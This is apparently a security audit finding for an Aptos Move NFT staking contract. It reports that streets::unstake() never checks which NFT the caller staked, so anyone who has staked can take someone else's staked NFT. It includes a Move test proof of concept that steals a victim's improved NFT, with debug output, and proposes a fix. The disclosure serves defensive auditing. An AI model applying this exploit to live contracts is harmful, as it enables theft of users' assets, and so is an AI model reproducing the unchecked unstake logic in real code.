Description
Attackers can steal any staked NFT from any user by exploiting insufficient ownership validation in the streets::unstake() function. The function only verifies that the caller has staked something, but doesn't verify which specific NFT they staked, allowing them to unstake anyone else's NFT instead of their own.
This vulnerability is particularly devastating when targeting victims who have staked NFTs for extended periods (5+ days) to improve their stats, as attackers can steal NFTs with significantly enhanced value - all negative traits removed and positive traits added - in exchange for their own worthless NFTs.
Root Cause
The streets::unstake() function has a critical flaw in its ownership validation logic:
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
let staked_duration = timestamp::now_seconds() - stake_info.start_time_seconds;
}
Critical flaws:
Missing NFT validation: The function doesn't verify which NFT the staker originally deposited
StakeInfo mismatch: StakeInfo only tracks the staker's address and timestamp, not the specific NFT
Stat improvement theft: Attackers can receive NFTs with enhanced stats earned through victim's long-term staking
Value extraction: Attackers trade worthless NFTs for valuable improved ones
Risk
Likelihood: High - Any attacker can easily exploit this by staking any NFT briefly, then unstaking any other user's NFT
Impact: High - Theft of high-value improved NFTs in exchange for worthless ones
Impact
High severity because:
-
Value arbitrage attack: Attackers can exchange worthless NFTs for highly valuable improved ones
-
Stat progression theft: Victims lose stat improvements (negative traits removed, positive traits added)
-
Economic incentive destruction: Makes long-term staking extremely risky as rewards can be stolen
Proof of Concept
The following test demonstrates how an attacker can steal a victim's improved NFT by trading their own worthless NFT.
This test requires adding #[test_only] helper functions to the respective modules:
#[test_only]
public fun init_module_test(sender: &signer) {
let (burn_cap, freeze_cap, mint_cap) = coin::initialize<CRED>(
sender,
string::utf8(b"Credibility"),
string::utf8(b"CRED"),
8,
false,
);
move_to(sender, CredCapabilities { mint_cap, burn_cap });
coin::destroy_freeze_cap(freeze_cap);
}
#[test_only]
public fun init_module_test(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
}
As NFT stats are not reset if the stacker day staked is bellow one day the attacker get back a better nft
#[test]
public fun test_steal_nft() {
let one_day = 86_400_000_000;
let aptos_framework = account::create_account_for_test(@0x1);
timestamp::set_time_has_started_for_testing(&aptos_framework);
timestamp::update_global_time_for_test(one_day);
coin::create_coin_conversion_map(&aptos_framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let attacker = account::create_account_for_test(@attacker_addr);
cred_token::init_module_test(&module_owner);
rap_battle::init_module_test(&module_owner);
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let mint_events = event::emitted_events<MintRapperEvent>();
let first_event = vector::borrow(&mint_events, 0);
let token_id = one_shot::get_mint_event_token_id(first_event);
let rapper_token_victim = object::address_to_object<Token>(
token_id
);
* ([debug] "rapper_token_victim"
* [debug] 0x1::object::Object<0x4::token::Token> {
* inner: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a
* }
*/
print(&utf8(b"rapper_token_victim"));
print(&rapper_token_victim);
one_shot::mint_rapper(&module_owner, signer::address_of(&attacker));
let second_mint_events = event::emitted_events<MintRapperEvent>();
let second_event = vector::borrow(&second_mint_events, 1);
let token_id2 = one_shot::get_mint_event_token_id(second_event);
let rapper_token_attacker = object::address_to_object<Token>(
token_id2
);
* [debug] "rapper_token_attacker"
* [debug] 0x1::object::Object<0x4::token::Token> {
* inner: @0xfab16b00983f01e5c2b7682472a4f4c3e5929fbba987958570b6290c02817df2
* }
*/
print(&utf8(b"rapper_token_attacker"));
print(&rapper_token_attacker);
print(&utf8(b"=== STEP 1: Victim stakes NFT for 5 days ==="));
let (initial_wk, initial_ha, initial_ss, initial_cr, initial_wins) = one_shot::read_stats(token_id);
print(&utf8(b"Victim NFT initial stats (wk, ha, ss, cr, wins):"));
print(&initial_wk);
print(&initial_ha);
print(&initial_ss);
print(&initial_cr);
print(&initial_wins);
streets::stake(&minter, rapper_token_victim);
timestamp::update_global_time_for_test(5 * one_day);
streets::unstake(&minter, &module_owner, rapper_token_victim);
let (improved_wk, improved_ha, improved_ss, improved_cr, improved_wins) = one_shot::read_stats(token_id);
print(&utf8(b"Victim NFT improved stats after 5 days (wk, ha, ss, cr, wins):"));
print(&improved_wk);
print(&improved_ha);
print(&improved_ss);
print(&improved_cr);
print(&improved_wins);
print(&utf8(b"=== STEP 2: Victim stakes improved NFT again ==="));
streets::stake(&minter, rapper_token_victim);
print(&utf8(b"=== STEP 3: Attacker stakes their bad NFT briefly ==="));
streets::stake(&attacker, rapper_token_attacker);
print(&utf8(b"=== STEP 4: VULNERABILITY - Attacker steals victim's improved NFT ==="));
streets::unstake(&attacker, &module_owner, rapper_token_victim);
let unstake_events = event::emitted_events<UnstakedEvent>();
print(&utf8(b"Unstake events:"));
print(&unstake_events);
* [debug] [
* 0x42::streets::UnstakedEvent {
* owner: @0x100,
* token_id: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a,
* staked_duration: 345600
* },
* 0x42::streets::UnstakedEvent {
* owner: @0x474,
* token_id: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a,
* staked_duration: 86400
* }
* }
*/
}
Recommended Mitigation
Store staked NFT ID in StakeInfo
Since staked NFTs are owned by @battle_addr during staking, we cannot use object::is_owner() for validation. Instead, we must track which specific NFT each user staked:
struct StakeInfo has key, store {
start_time_seconds: u64,
owner: address,
+ staked_token_id: address,
}
public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
move_to(staker, StakeInfo {
start_time_seconds: timestamp::now_seconds(),
owner: staker_addr,
+ staked_token_id: token_id,
});
// ... rest unchanged
}
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ assert!(stake_info.staked_token_id == token_id, E_WRONG_NFT);
// ... rest unchanged
}
